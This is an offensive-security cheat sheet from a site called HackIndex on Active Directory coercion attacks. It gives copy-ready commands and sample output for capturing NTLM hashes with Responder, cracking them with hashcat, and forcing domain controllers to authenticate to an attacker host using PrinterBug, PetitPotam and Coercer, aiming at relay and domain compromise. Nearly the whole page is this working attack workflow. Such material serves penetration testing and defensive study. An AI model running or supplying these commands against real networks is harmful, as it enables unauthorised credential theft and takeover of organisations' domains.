Skip to content
HackIndex logo

HackIndex

Coercion Attacks in Active Directory

4 min read Jun 11, 2026

Coercion attacks abuse Windows RPC protocols to force a target machine to authenticate outbound to a host you control. The authentication arrives as an NTLM challenge, which can be relayed to another service or captured and cracked offline. Coercing a domain controller is the most valuable target — its machine account hash can be used for DCSync, and a relay to LDAP or ADCS yields immediate domain compromise.

Coercion is the trigger. The impact depends on what you do with the arriving authentication — relay it with ntlmrelayx, capture it with Responder, or receive it on an unconstrained delegation host to extract a TGT.

Capture arriving hashes with Responder

When the goal is hash capture rather than relay, start Responder before triggering coercion. Responder poisons LLMNR, NBT-NS, and mDNS to intercept authentication from any host on the segment, and also listens directly for coerced connections.

┌──(kali㉿kali)-[~]
└─$ # Listen on interface — captures NTLM hashes from coerced authentication
┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -v
 
┌──(kali㉿kali)-[~]
└─$ # Captured hashes appear in /usr/share/responder/logs/
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/responder/logs/
 
┌──(kali㉿kali)-[~]
└─$ # Crack captured NTLMv2 hash
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-*.txt /usr/share/wordlists/rockyou.txt 
[SMB] NTLMv2-SSP Hash: DC01$::CORP:a1b2c3d4e5f6:...

When using Responder alongside ntlmrelayx, disable SMB and HTTP listeners in Responder so ntlmrelayx can receive the connections instead. Edit /usr/share/responder/Responder.conf and set SMB = Off and HTTP = Off before starting Responder. See NTLM Relay for the relay workflow.

PrinterBug — MS-RPRN coercion

The Print Spooler service exposes an RPC method that forces the target to authenticate to an arbitrary host. It requires the Print Spooler service to be running on the target and any valid domain credentials to trigger. Works against DCs running Spooler — common on older environments.

┌──(kali㉿kali)-[~]
└─$ # Confirm Spooler is active on target before attempting
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M spooler 
SMB  10.10.10.10  445  DC01  [+] Spooler service enabled on DC01
┌──(kali㉿kali)-[~]
└─$ # printerbug.py is part of the dirkjanm/krbrelayx toolset
┌──(kali㉿kali)-[~]
└─$ # Clone: git clone https://github.com/dirkjanm/krbrelayx
 
┌──(kali㉿kali)-[~]
└─$ python3 printerbug.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP $LHOST
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ python3 printerbug.py -hashes :$NTHASH $DOMAIN/$USER@$TARGET_IP $LHOST 
[*] Triggering authentication via MS-RPRN RpcRemoteFindFirstPrinterChangeNotification...
[*] Connecting to ncacn_np:10.10.10.10[\pipe\spoolss]
[+] Triggered RPC call - incoming authentication expected on 10.10.10.20

PetitPotam — MS-EFSR coercion

PetitPotam abuses the MS-EFSR protocol (Encrypting File System Remote) to force authentication. The unauthenticated variant works on unpatched targets. The authenticated variant requires valid credentials but works on patched systems where unauthenticated EFSR is blocked.

┌──(kali㉿kali)-[~]
└─$ # Clone: git clone https://github.com/topotam/PetitPotam
 
┌──(kali㉿kali)-[~]
└─$ # Unauthenticated — works on unpatched targets
┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py $LHOST $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Authenticated — works on patched targets
┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $LHOST $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py -u $USER -hashes :$NTHASH -d $DOMAIN $LHOST $TARGET_IP 
[+] Sending auth request
[+] Triggered RPC call - incoming authentication expected on 10.10.10.20

Coercer — multi-protocol coercion

Coercer wraps multiple coercion techniques including MS-RPRN, MS-EFSR, MS-FSRVP, and MS-DFSNM into a single tool. Use scan to identify which methods work against the target before triggering, then coerce to execute.

┌──(kali㉿kali)-[~]
└─$ # Scan target for available coercion methods
┌──(kali㉿kali)-[~]
└─$ coercer scan -t $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Coerce authentication toward your host
┌──(kali㉿kali)-[~]
└─$ coercer coerce -l $LHOST -t $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ coercer coerce -l $LHOST -t $TARGET_IP -u $USER --hashes :$NTHASH -d $DOMAIN 
[+] MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification - success
[+] MS-EFSR: EfsRpcOpenFileRaw - success
[+] Incoming authentication expected on 10.10.10.20

Once authentication arrives at your host, the next action depends on your setup. Responder captures it for offline cracking. ntlmrelayx forwards it to a target service — see NTLM Relay for relay targets and setup. An unconstrained delegation host receives it as a full TGT — see Kerberos Abuse for TGT extraction from that context.

References